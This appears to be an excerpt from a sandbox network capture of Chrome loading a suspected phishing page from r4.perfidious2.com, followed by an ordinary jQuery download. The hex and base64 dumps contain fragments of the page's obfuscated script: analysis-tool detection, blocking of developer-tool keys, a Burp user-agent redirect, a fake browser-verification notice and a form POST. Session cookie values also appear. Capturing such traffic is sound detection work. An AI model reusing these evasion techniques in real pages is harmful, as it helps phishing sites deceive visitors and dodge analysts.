2024-12-03 08:05:17 UTC	673	OUT	GET /7Ns2j_S_gr7Bb9fugBSyePMT2hE/ HTTP/1.1 Host: r4.perfidious2.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:18 UTC	1219	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fL2YMbL%2BswxNmXc9PuT2uSjykyxiBI7%2FY1D6A4GrK57HitZYJEPppv0NYCpucm4VRlaTksCw2iu4LoUHhFOxY%2B5RETkiaS8p7EmYAi6fqZ3NtrXjt0WYUj8Cot21lA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4150&min_rtt=4109&rtt_var=1570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1560&delivery_rate=704794&cwnd=251&unsent_bytes=0&cid=ccf6eeb5917567d2&ts=198&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkFYb1hDeUY2WGdlS0R0djBBajdObkE9PSIsInZhbHVlIjoiRXdpaXo1cW9pMnVzdGdNZHB0cGN3Y1FtUGsvZjB2WUhOODZDSjUxclRUWVpDclVHdWJ6SXQxM1diRVpPL21CTFBxbUtYYlN0OHZ1M3VNbisyanFEY2RxdGRvUGx4LzZVcEZhazVaZDBQdWpxT2ROeklYTXNIQUh0SlE4VUJsNGMiLCJtYWMiOiJlYzg3MGYwMzQyZTJmYTQ1MmE4MzliNjk0M2YzM2Y3ODUzOGUzYmI3OTI5MmM5OWY0NmY3MTM1NWI1NmMxZGQ1IiwidGFnIjoiIn0%3D; expires=Tue, 03-Dec-2024 10:05:18 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-03 08:05:18 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 52 4a 4d 31 42 48 62 6d 68 51 53 33 41 31 53 32 56 59 4f 53 38 30 5a 46 4d 31 52 32 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 48 6b 7a 62 47 68 31 54 57 70 45 62 30 56 50 4e 6c 64 4a 56 32 68 4b 54 54 41 76 61 6d 52 31 4d 47 49 31 53 58 51 32 61 56 64 59 54 44 6b 32 55 6c 4a 4c 4d 6c 6c 47 4b 30 4a 7a 56 30 31 79 51 54 6c 78 5a 30 70 5a 55 6c 52 59 51 55 6c 77 55 6a 4a 57 59 31 70 71 54 30 35 71 4b 7a 5a 6e 5a 79 74 52 65 6e 52 31 5a 6c 4a 33 61 57 4e 51 55 47 52 31 56 30 78 73 55 43 74 6e 61 6d 56 45 63 6e 46 54 56 32 74 72 51 6e 70 6e 5a 54 56 4a 59 6b 68 75 63 30 4a 79 56 46 68 44 64 6b 6c 59 61 57 30 79 65 6d 4e 76 51 6b 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlRJM1BHbmhQS3A1S2VYOS80ZFM1R2c9PSIsInZhbHVlIjoiZHkzbGh1TWpEb0VPNldJV2hKTTAvamR1MGI1SXQ2aVdYTDk2UlJLMllGK0JzV01yQTlxZ0pZUlRYQUlwUjJWY1pqT05qKzZnZytRenR1ZlJ3aWNQUGR1V0xsUCtnamVEcnFTV2trQnpnZTVJYkhuc0JyVFhDdklYaW0yemNvQkQ
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 34 63 62 39 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 69 6e 20 77 68 61 74 20 79 6f 75 20 68 61 76 65 2c 20 62 75 74 20 77 68 6f 20 79 6f 75 20 61 72 65 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 73 65 65 6d 73 20 74 6f 20 62 65 20 63 6f 6e 6e 65 63 74 65 64 20 77 69 74 68 20 61 63 74 69 6f 6e 2e 20 53 75 63 63 65 73 73 66 75 6c 20 70 65 6f 70 6c 65 20 6b 65 65 70 20 6d 6f 76 69 6e 67 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 56 62 69 35 77 5a 58 4a 6d 61 57 52 70 62 33 56 7a 4d 69 35 6a 62 32 30 76 4e 30 35 7a 4d 6d 70 66 55 31 39 6e 63 6a 64 43 59 6a 6c 6d 64 57 64 43 55 33 6c 6c 55 45 31 55 4d 6d 68 46 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e Data Ascii: 4cb9... Success is not in what you have, but who you are. -->... Success seems to be connected with action. Successful people keep moving. --><script>if(atob("aHR0cHM6Ly9Vbi5wZXJmaWRpb3VzMi5jb20vN05zMmpfU19ncjdCYjlmdWdCU3llUE1UMmhFLw==") == "n
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 52 56 56 4b 53 57 5a 56 61 33 4a 54 54 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 56 56 53 6b 6c 6d 56 57 74 79 55 30 38 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4e 54 68 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b Data Ascii: aDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRVVKSWZVa3JTTyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0VVSklmVWtyU08uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogNThweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 Data Ascii: 3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 4e 76 62 6e 4e 30 49 47 31 6e 5a 55 56 54 56 33 4e 46 65 55 4d 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 46 50 5a 57 56 58 5a 6d 31 31 62 47 51 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 48 46 50 5a 57 56 58 5a 6d 31 31 62 47 51 67 4c 53 42 74 5a 32 56 46 55 31 64 7a 52 58 6c 44 49 44 34 67 62 45 35 55 59 55 31 6a 64 47 6c 68 62 43 41 6d 4a 69 41 68 55 56 4a 78 51 57 46 53 55 58 5a 6d 62 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 55 56 4a 78 51 57 46 53 55 Data Ascii: NvbnN0IG1nZUVTV3NFeUMgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IHFPZWVXZm11bGQgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKHFPZWVXZm11bGQgLSBtZ2VFU1dzRXlDID4gbE5UYU1jdGlhbCAmJiAhUVJxQWFSUXZmbykgew0KICAgICAgICAgICAgUVJxQWFSU
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 47 52 68 64 47 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 64 47 56 34 64 43 31 6a 5a 57 35 30 5a 58 49 69 49 47 6c 6b 50 53 4a 33 64 6b 35 47 63 57 56 45 55 55 68 33 49 6a 34 4e 43 6c 5a 6c 63 6d 6c 6d 65 57 6c 75 5a 79 42 35 62 33 56 79 49 47 4a 79 62 33 64 7a 5a 58 49 67 5a 6d 39 79 49 47 45 67 63 32 56 6a 64 58 4a 6c 49 47 4e 76 62 6d 35 6c 59 33 52 70 62 32 34 75 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 77 76 5a 6d 39 79 62 54 34 4e 43 6a 77 76 5a 47 6c 32 50 67 30 4b 50 43 39 6b 61 58 59 2b 44 51 6f 38 4c 32 52 70 64 6a Data Ascii: uIiBpZD0iYmx0ZGRhdGEiIG5hbWU9ImJsdGRkYXRhIiB2YWx1ZT0iIj4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz0idGV4dC1jZW50ZXIiIGlkPSJ3dk5GcWVEUUh3Ij4NClZlcmlmeWluZyB5b3VyIGJyb3dzZXIgZm9yIGEgc2VjdXJlIGNvbm5lY3Rpb24uDQo8L2Rpdj4NCjwvZm9ybT4NCjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 49 43 41 67 49 43 42 69 62 32 52 35 4f 69 42 75 5a 58 63 67 52 6d 39 79 62 55 52 68 64 47 45 6f 52 33 5a 69 56 30 64 34 65 6c 68 78 5a 79 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 4a 6c 63 33 42 76 62 6e 4e 6c 49 44 30 2b 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 48 4a 6c 63 33 42 76 62 6e 4e 6c 4c 6d 70 7a 62 32 34 6f 4b 54 73 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 47 52 68 64 47 45 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 70 5a 69 68 6b 59 58 52 68 57 79 64 7a 64 47 46 30 64 58 4d 6e 58 53 41 39 50 53 41 6e 63 33 56 6a 59 32 56 7a 63 79 63 70 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 73 62 32 4e 68 64 47 6c 76 62 69 35 79 5a 57 78 76 59 57 51 6f 4b 54 73 4e 43 69 41 Data Ascii: ICAgICBib2R5OiBuZXcgRm9ybURhdGEoR3ZiV0d4elhxZykNCiAgICB9KS50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgcmV0dXJuIHJlc3BvbnNlLmpzb24oKTsNCiAgICB9KS50aGVuKGRhdGEgPT4gew0KICAgICAgICBpZihkYXRhWydzdGF0dXMnXSA9PSAnc3VjY2Vzcycpew0KICAgICAgICBsb2NhdGlvbi5yZWxvYWQoKTsNCiA
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 54 68 65 20 73 65 63 72 65 74 20 6f 66 20 73 75 63 63 65 73 73 20 69 73 20 74 6f 20 64 6f 20 74 68 65 20 63 6f 6d 6d 6f 6e 20 74 68 69 6e 67 20 75 6e 63 6f 6d 6d 6f 6e 6c 79 20 77 65 6c 6c 2e 20 2a 2f 0d 0a 69 66 28 71 42 4c 72 69 6a 4a 72 6e 46 20 3d 3d 20 59 70 79 73 68 71 57 6d 41 4f 29 7b 0d 0a 63 6f 6e 73 74 20 4a 4b 43 68 45 6a 49 6a 6e 47 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2e 73 70 6c 69 74 28 27 25 32 33 27 29 5b 30 5d 2e 73 70 6c 69 74 28 27 25 33 46 27 29 5b 30 5d 3b 0d 0a 69 66 20 28 58 70 69 63 73 79 6b 5a 48 6a 2e 70 61 74 68 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 27 2f 27 29 29 20 Data Ascii: e.split('.').slice(-2).join('.');/* The secret of success is to do the common thing uncommonly well. */if(qBLrijJrnF == YpyshqWmAO){const JKChEjIjnG = window.location.pathname.split('%23')[0].split('%3F')[0];if (XpicsykZHj.pathname.endsWith('/'))
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 30 56 56 53 6b 6c 6d 56 57 74 79 55 30 38 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 30 56 56 53 6b 6c 6d 56 57 74 79 55 30 38 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 52 56 56 4b 53 57 5a 56 61 33 4a 54 54 79 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 56 56 53 6b 6c 6d 56 57 74 79 55 30 38 75 59 32 46 77 64 47 4e 6f 59 53 31 Data Ascii: aW5lLWhlaWdodDoxLjI7fQ0KI0VVSklmVWtyU08gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0VVSklmVWtyU08gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRVVKSWZVa3JTTyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0VVSklmVWtyU08uY2FwdGNoYS1
2024-12-03 08:05:18 UTC	1369	IN	Data Raw: 6e 56 7a 5a 58 4a 42 5a 32 56 75 64 43 35 70 62 6d 4e 73 64 57 52 6c 63 79 67 69 51 6e 56 79 63 43 49 70 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 Data Ascii: nVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49722	151.101.2.137	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:20 UTC	536	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:20 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 03 Dec 2024 08:05:20 GMT Age: 1734652 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 3 X-Timer: S1733213121.549498,VS0,VE0 Vary: Accept-Encoding
2024-12-03 08:05:20 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-03 08:05:20 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-03 08:05:20 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-03 08:05:21 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-03 08:05:21 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-03 08:05:21 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data 